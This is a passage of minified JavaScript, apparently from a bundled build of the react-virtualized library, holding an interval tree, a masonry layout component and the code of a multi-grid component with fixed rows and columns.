0===r?e.length-1:0|r,t)},gt:function(e,t,n,r,o){return"function"==typeof n?function(e,t,n,r,o){for(var i=n+1;t<=n;){var a=t+n>>>1;o(e[a],r)>0?(i=a,n=a-1):t=a+1}return i}(e,void 0===r?0:0|r,void 0===o?e.length-1:0|o,t,n):function(e,t,n,r){for(var o=n+1;t<=n;){var i=t+n>>>1;e[i]>r?(o=i,n=i-1):t=i+1}return o}(e,void 0===n?0:0|n,void 0===r?e.length-1:0|r,t)},lt:function(e,t,n,r,o){return"function"==typeof n?function(e,t,n,r,o){for(var i=t-1;t<=n;){var a=t+n>>>1;o(e[a],r)<0?(i=a,t=a+1):n=a-1}return i}(e,void 0===r?0:0|r,void 0===o?e.length-1:0|o,t,n):function(e,t,n,r){for(var o=t-1;t<=n;){var i=t+n>>>1;e[i]<r?(o=i,t=i+1):n=i-1}return o}(e,void 0===n?0:0|n,void 0===r?e.length-1:0|r,t)},le:function(e,t,n,r,o){return"function"==typeof n?function(e,t,n,r,o){for(var i=t-1;t<=n;){var a=t+n>>>1;o(e[a],r)<=0?(i=a,t=a+1):n=a-1}return i}(e,void 0===r?0:0|r,void 0===o?e.length-1:0|o,t,n):function(e,t,n,r){for(var o=t-1;t<=n;){var i=t+n>>>1;e[i]<=r?(o=i,t=i+1):n=i-1}return o}(e,void 0===n?0:0|n,void 0===r?e.length-1:0|r,t)},eq:function(e,t,n,r,o){return"function"==typeof n?function(e,t,n,r,o){for(;t<=n;){var i=t+n>>>1,a=o(e[i],r);if(0===a)return i;a<=0?t=i+1:n=i-1}return-1}(e,void 0===r?0:0|r,void 0===o?e.length-1:0|o,t,n):function(e,t,n,r){for(;t<=n;){var o=t+n>>>1,i=e[o];if(i===r)return o;i<=r?t=o+1:n=o-1}return-1}(e,void 0===n?0:0|n,void 0===r?e.length-1:0|r,t)}};function MC(e,t,n,r,o){this.mid=e,this.left=t,this.right=n,this.leftPoints=r,this.rightPoints=o,this.count=(t?t.count:0)+(n?n.count:0)+r.length}var RC=MC.prototype;function jC(e,t){e.mid=t.mid,e.left=t.left,e.right=t.right,e.leftPoints=t.leftPoints,e.rightPoints=t.rightPoints,e.count=t.count}function LC(e,t){var n=UC(t);e.mid=n.mid,e.left=n.left,e.right=n.right,e.leftPoints=n.leftPoints,e.rightPoints=n.rightPoints,e.count=n.count}function IC(e,t){var n=e.intervals([]);n.push(t),LC(e,n)}function NC(e,t){var n=e.intervals([]),r=n.indexOf(t);return r<0?0:(n.splice(r,1),LC(e,n),1)}function DC(e,t,n){for(var r=0;r<e.length&&e[r][0]<=t;++r){var o=n(e[r]);if(o)return o}}function FC(e,t,n){for(var r=e.length-1;r>=0&&e[r][1]>=t;--r){var o=n(e[r]);if(o)return o}}function BC(e,t){for(var n=0;n<e.length;++n){var r=t(e[n]);if(r)return r}}function HC(e,t){return e-t}function VC(e,t){var n=e[0]-t[0];return n||e[1]-t[1]}function zC(e,t){var n=e[1]-t[1];return n||e[0]-t[0]}function UC(e){if(0===e.length)return null;for(var t=[],n=0;n<e.length;++n)t.push(e[n][0],e[n][1]);t.sort(HC);var r=t[t.length>>1],o=[],i=[],a=[];for(n=0;n<e.length;++n){var l=e[n];l[1]<r?o.push(l):r<l[0]?i.push(l):a.push(l)}var s=a,u=a.slice();return s.sort(VC),u.sort(zC),new MC(r,UC(o),UC(i),s,u)}function GC(e){this.root=e}RC.intervals=function(e){return e.push.apply(e,this.leftPoints),this.left&&this.left.intervals(e),this.right&&this.right.intervals(e),e},RC.insert=function(e){var t=this.count-this.leftPoints.length;if(this.count+=1,e[1]<this.mid)this.left?4*(this.left.count+1)>3*(t+1)?IC(this,e):this.left.insert(e):this.left=UC([e]);else if(e[0]>this.mid)this.right?4*(this.right.count+1)>3*(t+1)?IC(this,e):this.right.insert(e):this.right=UC([e]);else{var n=PC.ge(this.leftPoints,e,VC),r=PC.ge(this.rightPoints,e,zC);this.leftPoints.splice(n,0,e),this.rightPoints.splice(r,0,e)}},RC.remove=function(e){var t=this.count-this.leftPoints;if(e[1]<this.mid)return this.left?4*(this.right?this.right.count:0)>3*(t-1)?NC(this,e):2===(i=this.left.remove(e))?(this.left=null,this.count-=1,1):(1===i&&(this.count-=1),i):0;if(e[0]>this.mid)return this.right?4*(this.left?this.left.count:0)>3*(t-1)?NC(this,e):2===(i=this.right.remove(e))?(this.right=null,this.count-=1,1):(1===i&&(this.count-=1),i):0;if(1===this.count)return this.leftPoints[0]===e?2:0;if(1===this.leftPoints.length&&this.leftPoints[0]===e){if(this.left&&this.right){for(var n=this,r=this.left;r.right;)n=r,r=r.right;if(n===this)r.right=this.right;else{var o=this.left,i=this.right;n.count-=r.count,n.right=r.left,r.left=o,r.right=i}jC(this,r),this.count=(this.left?this.left.count:0)+(this.right?this.right.count:0)+this.leftPoints.length}else this.left?jC(this,this.left):jC(this,this.right);return 1}for(o=PC.ge(this.leftPoints,e,VC);o<this.leftPoints.length&&this.leftPoints[o][0]===e[0];++o)if(this.leftPoints[o]===e){this.count-=1,this.leftPoints.splice(o,1);for(i=PC.ge(this.rightPoints,e,zC);i<this.rightPoints.length&&this.rightPoints[i][1]===e[1];++i)if(this.rightPoints[i]===e)return this.rightPoints.splice(i,1),1}return 0},RC.queryPoint=function(e,t){if(e<this.mid){if(this.left)if(n=this.left.queryPoint(e,t))return n;return DC(this.leftPoints,e,t)}if(e>this.mid){var n;if(this.right)if(n=this.right.queryPoint(e,t))return n;return FC(this.rightPoints,e,t)}return BC(this.leftPoints,t)},RC.queryInterval=function(e,t,n){var r;if(e<this.mid&&this.left&&(r=this.left.queryInterval(e,t,n)))return r;if(t>this.mid&&this.right&&(r=this.right.queryInterval(e,t,n)))return r;return t<this.mid?DC(this.leftPoints,t,n):e>this.mid?FC(this.rightPoints,e,n):BC(this.leftPoints,n)};var WC=GC.prototype;WC.insert=function(e){this.root?this.root.insert(e):this.root=new MC(e[0],null,null,[e],[e])},WC.remove=function(e){if(this.root){var t=this.root.remove(e);return 2===t&&(this.root=null),0!==t}return!1},WC.queryPoint=function(e,t){if(this.root)return this.root.queryPoint(e,t)},WC.queryInterval=function(e,t,n){if(e<=t&&this.root)return this.root.queryInterval(e,t,n)},Object.defineProperty(WC,"count",{get:function(){return this.root?this.root.count:0}}),Object.defineProperty(WC,"intervals",{get:function(){return this.root?this.root.intervals([]):[]}});var qC,ZC,YC=function(){function e(){var t;ue()(this,e),pe()(this,"_columnSizeMap",{}),pe()(this,"_intervalTree",t&&0!==t.length?new GC(UC(t)):new GC(null)),pe()(this,"_leftMap",{})}return fe()(e,[{key:"estimateTotalHeight",value:function(e,t,n){var r=e-this.count;return this.tallestColumnSize+Math.ceil(r/t)*n}},{key:"range",value:function(e,t,n){var r=this;this._intervalTree.queryInterval(e,e+t,(function(e){var t=Hs()(e,3),o=t[0],i=(t[1],t[2]);return n(i,r._leftMap[i],o)}))}},{key:"setPosition",value:function(e,t,n,r){this._intervalTree.insert([n,n+r,e]),this._leftMap[e]=t;var o=this._columnSizeMap,i=o[t];o[t]=void 0===i?n+r:Math.max(i,n+r)}},{key:"count",get:function(){return this._intervalTree.count}},{key:"shortestColumnSize",get:function(){var e=this._columnSizeMap,t=0;for(var n in e){var r=e[n];t=0===t?r:Math.min(t,r)}return t}},{key:"tallestColumnSize",get:function(){var e=this._columnSizeMap,t=0;for(var n in e){var r=e[n];t=Math.max(t,r)}return t}}]),e}();function $C(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function KC(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$C(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$C(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var XC=(ZC=qC=function(e){function t(){var e,n;ue()(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return n=yS()(this,(e=wS()(t)).call.apply(e,[this].concat(o))),pe()(SS()(n),"state",{isScrolling:!1,scrollTop:0}),pe()(SS()(n),"_debounceResetIsScrollingId",void 0),pe()(SS()(n),"_invalidateOnUpdateStartIndex",null),pe()(SS()(n),"_invalidateOnUpdateStopIndex",null),pe()(SS()(n),"_positionCache",new YC),pe()(SS()(n),"_startIndex",null),pe()(SS()(n),"_startIndexMemoized",null),pe()(SS()(n),"_stopIndex",null),pe()(SS()(n),"_stopIndexMemoized",null),pe()(SS()(n),"_debounceResetIsScrollingCallback",(function(){n.setState({isScrolling:!1})})),pe()(SS()(n),"_setScrollingContainerRef",(function(e){n._scrollingContainer=e})),pe()(SS()(n),"_onScroll",(function(e){var t=n.props.height,r=e.currentTarget.scrollTop,o=Math.min(Math.max(0,n._getEstimatedTotalHeight()-t),r);r===o&&(n._debounceResetIsScrolling(),n.state.scrollTop!==o&&n.setState({isScrolling:!0,scrollTop:o}))})),n}return xS()(t,e),fe()(t,[{key:"clearCellPositions",value:function(){this._positionCache=new YC,this.forceUpdate()}},{key:"invalidateCellSizeAfterRender",value:function(e){var t=e.rowIndex;null===this._invalidateOnUpdateStartIndex?(this._invalidateOnUpdateStartIndex=t,this._invalidateOnUpdateStopIndex=t):(this._invalidateOnUpdateStartIndex=Math.min(this._invalidateOnUpdateStartIndex,t),this._invalidateOnUpdateStopIndex=Math.max(this._invalidateOnUpdateStopIndex,t))}},{key:"recomputeCellPositions",value:function(){var e=this._positionCache.count-1;this._positionCache=new YC,this._populatePositionCache(0,e),this.forceUpdate()}},{key:"componentDidMount",value:function(){this._checkInvalidateOnUpdate(),this._invokeOnScrollCallback(),this._invokeOnCellsRenderedCallback()}},{key:"componentDidUpdate",value:function(e,t){this._checkInvalidateOnUpdate(),this._invokeOnScrollCallback(),this._invokeOnCellsRenderedCallback(),this.props.scrollTop!==e.scrollTop&&this._debounceResetIsScrolling()}},{key:"componentWillUnmount",value:function(){this._debounceResetIsScrollingId&&US(this._debounceResetIsScrollingId)}},{key:"render",value:function(){var e,t=this,n=this.props,r=n.autoHeight,o=n.cellCount,i=n.cellMeasurerCache,a=n.cellRenderer,s=n.className,u=n.height,c=n.id,f=n.keyMapper,d=n.overscanByPixels,p=n.role,h=n.style,m=n.tabIndex,g=n.width,v=n.rowDirection,y=this.state,b=y.isScrolling,w=y.scrollTop,E=[],S=this._getEstimatedTotalHeight(),C=this._positionCache.shortestColumnSize,x=this._positionCache.count,O=0;if(this._positionCache.range(Math.max(0,w-d),u+2*d,(function(n,r,o){var l;void 0===e?(O=n,e=n):(O=Math.min(O,n),e=Math.max(e,n)),E.push(a({index:n,isScrolling:b,key:f(n),parent:t,style:(l={height:i.getHeight(n)},pe()(l,"ltr"===v?"left":"right",r),pe()(l,"position","absolute"),pe()(l,"top",o),pe()(l,"width",i.getWidth(n)),l)}))})),C<w+u+d&&x<o)for(var A=Math.min(o-x,Math.ceil((w+u+d-C)/i.defaultHeight*g/i.defaultWidth)),_=x;_<x+A;_++)e=_,E.push(a({index:_,isScrolling:b,key:f(_),parent:this,style:{width:i.getWidth(_)}}));return this._startIndex=O,this._stopIndex=e,l.createElement("div",{ref:this._setScrollingContainerRef,"aria-label":this.props["aria-label"],className:Object(TS.default)("ReactVirtualized__Masonry",s),id:c,onScroll:this._onScroll,role:p,style:KC({boxSizing:"border-box",direction:"ltr",height:r?"auto":u,overflowX:"hidden",overflowY:S<u?"hidden":"auto",position:"relative",width:g,WebkitOverflowScrolling:"touch",willChange:"transform"},h),tabIndex:m},l.createElement("div",{className:"ReactVirtualized__Masonry__innerScrollContainer",style:{width:"100%",height:S,maxWidth:"100%",maxHeight:S,overflow:"hidden",pointerEvents:b?"none":"",position:"relative"}},E))}},{key:"_checkInvalidateOnUpdate",value:function(){if("number"==typeof this._invalidateOnUpdateStartIndex){var e=this._invalidateOnUpdateStartIndex,t=this._invalidateOnUpdateStopIndex;this._invalidateOnUpdateStartIndex=null,this._invalidateOnUpdateStopIndex=null,this._populatePositionCache(e,t),this.forceUpdate()}}},{key:"_debounceResetIsScrolling",value:function(){var e=this.props.scrollingResetTimeInterval;this._debounceResetIsScrollingId&&US(this._debounceResetIsScrollingId),this._debounceResetIsScrollingId=GS(this._debounceResetIsScrollingCallback,e)}},{key:"_getEstimatedTotalHeight",value:function(){var e=this.props,t=e.cellCount,n=e.cellMeasurerCache,r=e.width,o=Math.max(1,Math.floor(r/n.defaultWidth));return this._positionCache.estimateTotalHeight(t,o,n.defaultHeight)}},{key:"_invokeOnScrollCallback",value:function(){var e=this.props,t=e.height,n=e.onScroll,r=this.state.scrollTop;this._onScrollMemoized!==r&&(n({clientHeight:t,scrollHeight:this._getEstimatedTotalHeight(),scrollTop:r}),this._onScrollMemoized=r)}},{key:"_invokeOnCellsRenderedCallback",value:function(){this._startIndexMemoized===this._startIndex&&this._stopIndexMemoized===this._stopIndex||((0,this.props.onCellsRendered)({startIndex:this._startIndex,stopIndex:this._stopIndex}),this._startIndexMemoized=this._startIndex,this._stopIndexMemoized=this._stopIndex)}},{key:"_populatePositionCache",value:function(e,t){for(var n=this.props,r=n.cellMeasurerCache,o=n.cellPositioner,i=e;i<=t;i++){var a=o(i),l=a.left,s=a.top;this._positionCache.setPosition(i,l,s,r.getHeight(i))}}}],[{key:"getDerivedStateFromProps",value:function(e,t){return void 0!==e.scrollTop&&t.scrollTop!==e.scrollTop?{isScrolling:!0,scrollTop:e.scrollTop}:null}}]),t}(l.PureComponent),pe()(qC,"propTypes",null),ZC);function QC(){}pe()(XC,"defaultProps",{autoHeight:!1,keyMapper:function(e){return e},onCellsRendered:QC,onScroll:QC,overscanByPixels:20,role:"grid",scrollingResetTimeInterval:150,style:{},tabIndex:0,rowDirection:"ltr"});Object(OS.polyfill)(XC);var JC=function(){function e(){var t=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};ue()(this,e),pe()(this,"_cellMeasurerCache",void 0),pe()(this,"_columnIndexOffset",void 0),pe()(this,"_rowIndexOffset",void 0),pe()(this,"columnWidth",(function(e){var n=e.index;t._cellMeasurerCache.columnWidth({index:n+t._columnIndexOffset})})),pe()(this,"rowHeight",(function(e){var n=e.index;t._cellMeasurerCache.rowHeight({index:n+t._rowIndexOffset})}));var r=n.cellMeasurerCache,o=n.columnIndexOffset,i=void 0===o?0:o,a=n.rowIndexOffset,l=void 0===a?0:a;this._cellMeasurerCache=r,this._columnIndexOffset=i,this._rowIndexOffset=l}return fe()(e,[{key:"clear",value:function(e,t){this._cellMeasurerCache.clear(e+this._rowIndexOffset,t+this._columnIndexOffset)}},{key:"clearAll",value:function(){this._cellMeasurerCache.clearAll()}},{key:"hasFixedHeight",value:function(){return this._cellMeasurerCache.hasFixedHeight()}},{key:"hasFixedWidth",value:function(){return this._cellMeasurerCache.hasFixedWidth()}},{key:"getHeight",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this._cellMeasurerCache.getHeight(e+this._rowIndexOffset,t+this._columnIndexOffset)}},{key:"getWidth",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this._cellMeasurerCache.getWidth(e+this._rowIndexOffset,t+this._columnIndexOffset)}},{key:"has",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this._cellMeasurerCache.has(e+this._rowIndexOffset,t+this._columnIndexOffset)}},{key:"set",value:function(e,t,n,r){this._cellMeasurerCache.set(e+this._rowIndexOffset,t+this._columnIndexOffset,n,r)}},{key:"defaultHeight",get:function(){return this._cellMeasurerCache.defaultHeight}},{key:"defaultWidth",get:function(){return this._cellMeasurerCache.defaultWidth}}]),e}();function ex(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function tx(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ex(n,!0).forEach((function(t){pe()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ex(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var nx=function(e){function t(e,n){var r;ue()(this,t),r=yS()(this,wS()(t).call(this,e,n)),pe()(SS()(r),"state",{scrollLeft:0,scrollTop:0,scrollbarSize:0,showHorizontalScrollbar:!1,showVerticalScrollbar:!1}),pe()(SS()(r),"_deferredInvalidateColumnIndex",null),pe()(SS()(r),"_deferredInvalidateRowIndex",null),pe()(SS()(r),"_bottomLeftGridRef",(function(e){r._bottomLeftGrid=e})),pe()(SS()(r),"_bottomRightGridRef",(function(e){r._bottomRightGrid=e})),pe()(SS()(r),"_cellRendererBottomLeftGrid",(function(e){var t=e.rowIndex,n=wm()(e,["rowIndex"]),o=r.props,i=o.cellRenderer,a=o.fixedRowCount;return t===o.rowCount-a?l.createElement("div",{key:n.key,style:tx({},n.style,{height:20})}):i(tx({},n,{parent:SS()(r),rowIndex:t+a}))})),pe()(SS()(r),"_cellRendererBottomRightGrid",(function(e){var t=e.columnIndex,n=e.rowIndex,o=wm()(e,["columnIndex","rowIndex"]),i=r.props,a=i.cellRenderer,l=i.fixedColumnCount,s=i.fixedRowCount;return a(tx({},o,{columnIndex:t+l,parent:SS()(r),rowIndex:n+s}))})),pe()(SS()(r),"_cellRendererTopRightGrid",(function(e){var t=e.columnIndex,n=wm()(e,["columnIndex"]),o=r.props,i=o.cellRenderer,a=o.columnCount,s=o.fixedColumnCount;return t===a-s?l.createElement("div",{key:n.key,style:tx({},n.style,{width:20})}):i(tx({},n,{columnIndex:t+s,parent:SS()(r)}))})),pe()(SS()(r),"_columnWidthRightGrid",(function(e){var t=e.index,n=r.props,o=n.columnCount,i=n.fixedColumnCount,a=n.columnWidth,l=r.state,s=l.scrollbarSize;return l.showHorizontalScrollbar&&t===o-i?s:"function"==typeof a?a({index:t+i}):a})),pe()(SS()(r),"_onScroll",(function(e){var t=e.scrollLeft,n=e.scrollTop;r.setState({scrollLeft:t,scrollTop:n});var o=r.props.onScroll;o&&o(e)})),pe()(SS()(r),"_onScrollbarPresenceChange",(function(e){var t=e.horizontal,n=e.size,o=e.vertical,i=r.state,a=i.showHorizontalScrollbar,l=i.showVerticalScrollbar;if(t!==a||o!==l){r.setState({scrollbarSize:n,showHorizontalScrollbar:t,showVerticalScrollbar:o});var s=r.props.onScrollbarPresenceChange;"function"==typeof s&&s({horizontal:t,size:n,vertical:o})}})),pe()(SS()(r),"_onScrollLeft",(function(e){var t=e.scrollLeft;r._onScroll({scrollLeft:t,scrollTop:r.state.scrollTop})})),pe()(SS()(r),"_onScrollTop",(function(e){var t=e.scrollTop;r._onScroll({scrollTop:t,scrollLeft:r.state.scrollLeft})})),pe()(SS()(r),"_rowHeightBottomGrid",(function(e){var t=e.index,n=r.props,o=n.fixedRowCount,i=n.rowCount,a=n.rowHeight,l=r.state,s=l.scrollbarSize;return l.showVerticalScrollbar&&t===i-o?s:"function"==typeof a?a({index:t+o}):a})),pe()(SS()(r),"_topLeftGridRef",(function(e){r._topLeftGrid=e})),pe()(SS()(r),"_topRightGridRef",(function(e){r._topRightGrid=e}));var o=e.deferredMeasurementCache,i=e.fixedColumnCount,a=e.fixedRowCount;return r._maybeCalculateCachedStyles(!0),o&&(r._deferredMeasurementCacheBottomLeftGrid=a>0?new JC({cellMeasurerCache:o,columnIndexOffset:0,rowIndexOffset:a}):o,r._deferredMeasurementCacheBottomRightGrid=i>0||a>0?new JC({cellMeasurerCache:o,columnIndexOffset:i,rowIndexOffset:a}):o,r._deferredMeasurementCacheTopRightGrid=i>0?new JC({cellMeasurerCache:o,columnIndexOffset:i,rowIndexOffset:0}):o),r}return xS()(t,e),fe()(t,[{key:"forceUpdateGrids",value:function(){this._bottomLeftGrid&&this._bottomLeftGrid.forceUpdate(),this._bottomRightGrid&&this._bottomRightGrid.forceUpdate(),this._topLeftGrid&&this._topLeftGrid.forceUpdate(),this._topRightGrid&&this._topRightGrid.forceUpdate()}},{key:"invalidateCellSizeAfterRender",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r;this._deferredInvalidateColumnIndex="number"==typeof this._deferredInvalidateColumnIndex?Math.min(this._deferredInvalidateColumnIndex,n):n,this._deferredInvalidateRowIndex="number"==typeof this._deferredInvalidateRowIndex?Math.min(this._deferredInvalidateRowIndex,o):o}},{key:"measureAllCells",value:function(){this._bottomLeftGrid&&this._bottomLeftGrid.measureAllCells(),this._bottomRightGrid&&this._bottomRightGrid.measureAllCells(),this._topLeftGrid&&this._topLeftGrid.measureAllCells(),this._topRightGrid&&this._topRightGrid.measureAllCells()}},{key:"recomputeGridSize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.columnIndex,n=void 0===t?0:t,r=e.rowIndex,o=void 0===r?0:r,i=this.props,a=i.fixedColumnCount,l=i.fixedRowCount,s=Math.max(0,n-a),u=Math.max(0,o-l);this._bottomLeftGrid&&this._bottomLeftGrid.recomputeGridSize({columnIndex:n,rowIndex:u}),this._bottomRightGrid&&this._bottomRightGrid.recomputeGridSize({columnIndex:s,rowIndex:u}),this._topLeftGrid&&this._topLeftGrid.recomputeGridSize({columnIndex:n,rowIndex:o}),this._topRightGrid&&this._topRightGrid.recomputeGridSize({columnIndex:s,rowIndex:o}),this._leftGridWidth=null,this._topGridHeight=null,this._maybeCalculateCachedStyles(!0)}},{key:"componentDidMount",value:function(){var e=this.props,t=e.scrollLeft,n=e.scrollTop;if(t>0||n>0){var r={};t>0&&(r.scrollLeft=t),n>0&&(r.scrollTop=n),this.setState(r)}this._handleInvalidatedGridSize()}},{key:"componentDidUpdate",value:function(){this._handleInvalidatedGridSize()}},{key:"render",value:function(){var e=this.props,t=e.onScroll,n=e.onSectionRendered,r=(e.onScrollbarPresenceChange,e.scrollLeft,e.scrollToColumn),o=(e.scrollTop,e.scrollToRow),i=wm()(e,["onScroll","onSectionRendered","onScrollbarPresenceChange","scrollLeft","scrollToColumn","scrollTop","scrollToRow"]);if(this._prepareForRender(),0===this.props.width||0===this.props.height)return null;var a=this.state,s=a.scrollLeft,u=a.scrollTop;return l.createElement("div",{style:this._containerOuterStyle},l.createElement("div",{style:this._containerTopStyle},this._renderTopLeftGrid(i),this._renderTopRightGrid(tx({},i,{onScroll:t,scrollLeft:s}))),l.createElement("div",{style:this._containerBottomStyle},this._renderBottomLeftGrid(tx({},i,{onScroll:t,scrollTop:u})),this._renderBottomRightGrid(tx({},i,{onScroll:t,onSectionRendered:n,scrollLeft:s,scrollToColumn:r,scrollToRow:o,scrollTop:u}))))}},{key:"_getBottomGridHeight",value:function(e){return e.height-this._getTopGridHeight(e)}},{key:"_getLeftGridWidth",value:function(e){var t=e.fixedColumnCount,n=e.columnWidth;if(null==this._leftGridWidth)if("function"==typeof n){for(var r=0,o=0;o<t;o++)r+=n({index:o});this._leftGridWidth=r}else this._leftGridWidth=n*t;return this._leftGridWidth}},{key:"_getRightGridWidth",value:function(e){return e.width-this._getLeftGridWidth(e)}},{key:"_getTopGridHeight",value:function(e){var t=e.fixedRowCount,n=e.rowHeight;if(null==this._topGridHeight)if("function"==typeof n){for(var r=0,o=0;o<t;o++)r+=n({index:o});this._topGridHeight=r}else this._topGridHeight=n*t;return this._topGridHeight}},{key:"_handleInvalidatedGridSize",value:function(){if("number"==typeof this._deferredInvalidateColumnIndex){var e=this._deferredInvalidateColumnIndex,t=this._deferredInvalidateRowIndex;this._deferredInvalidateColumnIndex=null,this._deferredInvalidateRowIndex=null,this.recomputeGridSize({columnIndex:e,rowIndex:t}),this.forceUpdate()}}},{key:"_maybeCalculateCachedStyles",value:function(e){var t=this.props,n=t.columnWidth,r=t.enableFixedColumnScroll,o=t.enableFixedRowScroll,i=t.height,a=t.fixedColumnCount,l=t.fixedRowCount,s=t.rowHeight,u=t.style,c=t.styleBottomLeftGrid,f=t.styleBottomRightGrid,d=t.styleTopLeftGrid,p=t.styleTopRightGrid,h=t.width,m=e||i!==this._lastRenderedHeight||h!==this._lastRenderedWidth,g=e||n!==this._lastRenderedColumnWidth||a!==this._lastRenderedFixedColumnCount,v=e||l!==this._lastRenderedFixedRowCount||s!==this._lastRenderedRowHeight;(e||m||u!==this._lastRenderedStyle)&&(this._containerOuterStyle=tx({height:i,overflow:"visible",width:h},u)),(e||m||v)&&(this._containerTopStyle={height:this._getTopGridHeight(this.props),position:"relative",width:h},this._containerBottomStyle={height:i-this._getTopGridHeight(this.props),overflow:"visible",position:"relative",width:h}),(e||c!==this._lastRenderedStyleBottomLeftGrid)&&(this._bottomLeftGridStyle=tx({left:0,overflowX:"hidden",overflowY:r?"auto":"hidden",position:"absolute"},c)),(e||g||f!==this._lastRenderedStyleBottomRightGrid)&&(this._bottomRightGridStyle=tx({left:this._getLeftGridWidth(this.props),position:"absolute"},f)),(e||d!==this._lastRenderedStyleTopLeftGrid)&&(this._topLeftGridStyle=tx({left:0,overflowX:"hidden",overflowY:"hidden",position:"absolute",top:0},d)),(e||g||p!==this._lastRenderedStyleTopRightGrid)&&(this._topRightGridStyle=tx({left:this._getLeftGridWidth(this.props),overflowX:o?"auto":"hidden",overflowY:"hidden",position:"absolute",top:0},p)),this._lastRenderedColumnWidth=n,this._lastRenderedFixedColumnCount=a,this._lastRenderedFixedRowCount=l,this._lastRenderedHeight=i,this._lastRenderedRowHeight=s,this._lastRenderedStyle=u,this._lastRenderedStyleBottomLeftGrid=c,this._lastRenderedStyleBottomRightGrid=f,this._lastRenderedStyleTopLeftGrid=d,this._lastRenderedStyleTopRightGrid=p,this._lastRenderedWidth=h}},{key:"_prepareForRender",value:function(){this._lastRenderedColumnWidth===this.props.columnWidth&&this._lastRenderedFixedColumnCount===this.props.fixedColumnCount||(this._leftGridWidth=null),this._lastRenderedFixedRowCount===this.props.fixedRowCount&&this._lastRenderedRowHeight===this.props.rowHeight||(this._topGridHeight=null),this._maybeCalculateCachedStyles(),this._lastRenderedColumnWidth=this.props.columnWidth,this._lastRenderedFixedColumnCount=this.props.fixedColumnCount,this._lastRenderedFixedRowCount=this.props.fixedRowCount,this._lastRenderedRowHeight=this.props.rowHeight}},{key:"_renderBottomLeftGrid",value:function(e){var t=e.enableFixedColumnScroll,n=e.fixedColumnCount,r=e.fixedRowCount,o=e.rowCount,i=e.hideBottomLeftGridScrollbar,a=this.state.showVerticalScrollbar;if(!n)return null;var s=a?1:0,u=this._getBottomGridHeight(e),c=this._getLeftGridWidth(e),f=this.state.showVerticalScrollbar?this.state.scrollbarSize:0,d=i?c+f:c,p=l.createElement(KS,_S()({},e,{cellRenderer:this._cellRendererBottomLeftGrid,className:this.props.classNameBottomLeftGrid,columnCount:n,deferredMeasurementCache:this._deferredMeasurementCacheBottomLeftGrid,height:u,onScroll:t?this._onScrollTop:void 0,ref:this._bottomLeftGridRef,rowCount:Math.max(0,o-r)+s,rowHeight:this._rowHeightBottomGrid,style:this._bottomLeftGridStyle,tabIndex:null,width:d}));return i?l.createElement("div",{className:"BottomLeftGrid_ScrollWrapper",style:tx({},this._bottomLeftGridStyle,{height:u,width:c,overflowY:"hidden"})},p):p}},{key:"_renderBottomRightGrid",value:function(e){var t=e.columnCount,n=e.fixedColumnCount,r=e.fixedRowCount,o=e.rowCount,i=e.scrollToColumn,a=e.scrollToRow;return l.createElement(KS,_S()({},e,{cellRenderer:this._cellRendererBottomRightGrid,className:this.props.classNameBottomRightGrid,columnCount:Math.max(0,t-n),columnWidth:this._columnWidthRightGrid,deferredMeasurementCache:this._deferredMeasurementCacheBottomRightGrid,height:this._getBottomGridHeight(e),onScroll:this._onScroll,onScrollbarPresenceChange:this._onScrollbarPresenceChange,ref:this._bottomRightGridRef,rowCount:Math.max(0,o-r),rowHeight:this._rowHeightBottomGrid,scrollToColumn:i-n,scrollToRow:a-r,style:this._bottomRightGridStyle,width:this._getRightGridWidth(e)}))}},{key:"_renderTopLeftGrid",value:function(e){var t=e.fixedColumnCount,n=e.fixedRowCount;return t&&n?l.createElement(KS,_S()({},e,{className:this.props.classNameTopLeftGrid,columnCount:t,height:this._getTopGridHeight(e),ref:this._topLeftGridRef,rowCount:n,style:this._topLeftGridStyle,tabIndex:null,width:this._getLeftGridWidth(e)})):null}},{key:"_renderTopRightGrid",value:function(e){var t=e.columnCount,n=e.enableFixedRowScroll,r=e.fixedColumnCount,o=e.fixedRowCount,i=e.scrollLeft,a=e.hideTopRightGridScrollbar,s=this.state,u=s.showHorizontalScrollbar,c=s.scrollbarSize;if(!o)return null;var f=u?1:0,d=this._getTopGridHeight(e),p=this._getRightGridWidth(e),h=u?c:0,m=d,g=this._topRightGridStyle;a&&(m=d+h,g=tx({},this._topRightGridStyle,{left:0}));var v=l.createElement(KS,_S()({},e,{cellRenderer:this._cellRendererTopRightGrid,className:this.props.classNameTopRightGrid,columnCount:Math.max(0,t-r)+f,columnWidth:this._columnWidthRightGrid,deferredMeasurementCache:this._deferredMeasurementCacheTopRightGrid,height:m,onScroll:n?this._onScrollLeft:void 0,ref:this._topRightGridRef,rowCount:o,scrollLeft:i,style:g,tabIndex:null,width:p}));return a?l.createElement("div",{className:"TopRightGrid_ScrollWrapper",style:tx({},this._topRightGridStyle,{height:d,width:p,overflowX:"hidden"})},v):v}}],[{key:"getDerivedStateFromProps",value:function(e,t){return 